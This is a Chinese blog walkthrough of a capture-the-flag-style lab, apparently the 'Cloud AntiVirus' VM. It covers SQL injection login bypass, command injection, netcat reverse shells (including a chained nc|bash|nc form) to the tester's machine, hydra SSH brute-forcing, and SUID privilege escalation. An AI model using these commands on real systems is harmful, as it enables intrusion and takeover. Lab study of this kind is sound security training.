参考:打靶第二周-easy_cloudantivirus_cloud anti-virus scanner!-CSDN博客
下载好靶机后直接启动了,我发现这个靶机如果一开始选择我的无线网卡会启动不了,需要先选择一个没有的网卡启动然后关闭后再选择正确的网卡启动就可以了。
老规矩发现一下靶机的IP地址
netdiscover -i eth0 -r 192.168.1.0/24
所以kali 192.168.1.122 靶机 192.168.1.229
探寻开放的端口
nmap -p- 192.168.1.229
查看端口的具体服务
有一个ssh服务和一个8080的web服务,访问这个网站看看。
一个什么反病毒
要求输入一个邀请码,在页面做测试的时候顺便扫描一个目录
在页面输入引号报错了
不过我没有怎么遇到过sqlite数据库和python的网站利用SQL注入的。
扫描目录扫出一个控制台
看到参数是password,可以尝试一下万能密码"or 1=1--+ 这里是"闭合。
这里的意思好像是使用他们的反病毒去扫描文件用来检测有没有病毒应该是,就是扫描的很慢。
这里的漏洞是命令执行,就是这里应该是直接使用命令 scan hello然后将结果返回,所以可以通过scan hello |ls这样尝试是否存在此漏洞
就是不知道为什么这里执行起来好慢。。。
可以看到确实如此,于是可以尝试直接反弹shell,这里看到里面有netcat于是使用nc进行反弹,nc反弹比较简单。
靶机:
hello ; nc 192.168.1.122 4455
kali:
nc -lvnp 4455
又出现了这种情况,就是明明连接上了但是没有回显的情况,看了视频原来是并没有建立一个shell的反弹只是建立了一个连接
应该使用nc 192.168.1.122 4455 -e /bin/bash 将bash反弹回来才可以
然后这个靶机这里不可以使用-e指定shell因为nc的版本不支持所以这里使用一个特殊的方式nc串联,我也是第一次清楚这种做法之前可能遇到过但是没有联想到这一块
命令格式:hello |nc 192.168.1.122 3333 |/bin/bash |nc 192.168.1.122 4444
需要再kali上面开启3333和4444的监听,会建立两个连接一个用来执行命令一个用来回显命令,可以看到命令的中间有一个bash其实就是3333建立的连接然后在上面执行命令传给bash去执行然后再将结果发给4444的这个连接回显会来。
成功反弹shell后立即查看了一下是不是docker容器里面
我还是习惯于上线msf比较稳定
之前在看目录的时候有个database.sql文件,可以将他下载下来看一看,这里无法直接使用命令查看sql的文件因为这个是sqlite的文件
这个download的好久没用过了都忘记怎么用了。。。这个123.sql是个文件夹
利用sqlite3去dump文件的内容发现有好几个密码
INSERT INTO code VALUES('myinvitecode123');
INSERT INTO code VALUES('mysecondinvitecode');
INSERT INTO code VALUES('cloudavtech');
INSERT INTO code VALUES('mostsecurescanner');
查看靶机中存在哪些用户用密码去尝试登录
cat /etc/passwd
记得看后面有/bin/bash 或者sh 才是可以有终端的
可以找到只有root cloudav scanner 可以登录
使用hydra进行ssh爆破
创建一个user.txt 写入用户名 一个passwd.txt写入密码
hydra -L user.txt -P pass.txt ssh://192.168.1.229
失败了,使用这些密码去尝试之前目录跑出来的console控制台也不是正确的密码
可以思考对应的内核版本和使用msf自带的本地提权进行提权操作
也可以使用常规的suid sudo 等等提权方式,这里使用suid进行查询哪些具有s
常用检查命令
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
已知可用来提权的有
Nmap
Vim
find
Bash
More
Less
Nano
cp
没有看到有这些但是看到一个很奇怪的文件
这个update_cloudav应该是用来更新这个查杀病毒的文件,而且是用下面那个c文件编译过来的,把那个c文件下载看看内容
可以判断是一个可以配合参数的文件
那这就可以使用suid提权的方式了
那我再生成一个elf文件上线,通过老方法将文件上传上去然后赋予执行的权限。
msf那边修改对应的端口后进行run监听然后这边利用update_cloudav去执行命令,记得这里执行的命令要用引号括起来才全是他的参数
不括起来就还是原来的scanner去执行的命令
成功拿到root权限。
另外尝试一下这个内核的版本有没有提权的漏洞啥的
简单尝试两个
好吧试了一圈并没有提权成功的模块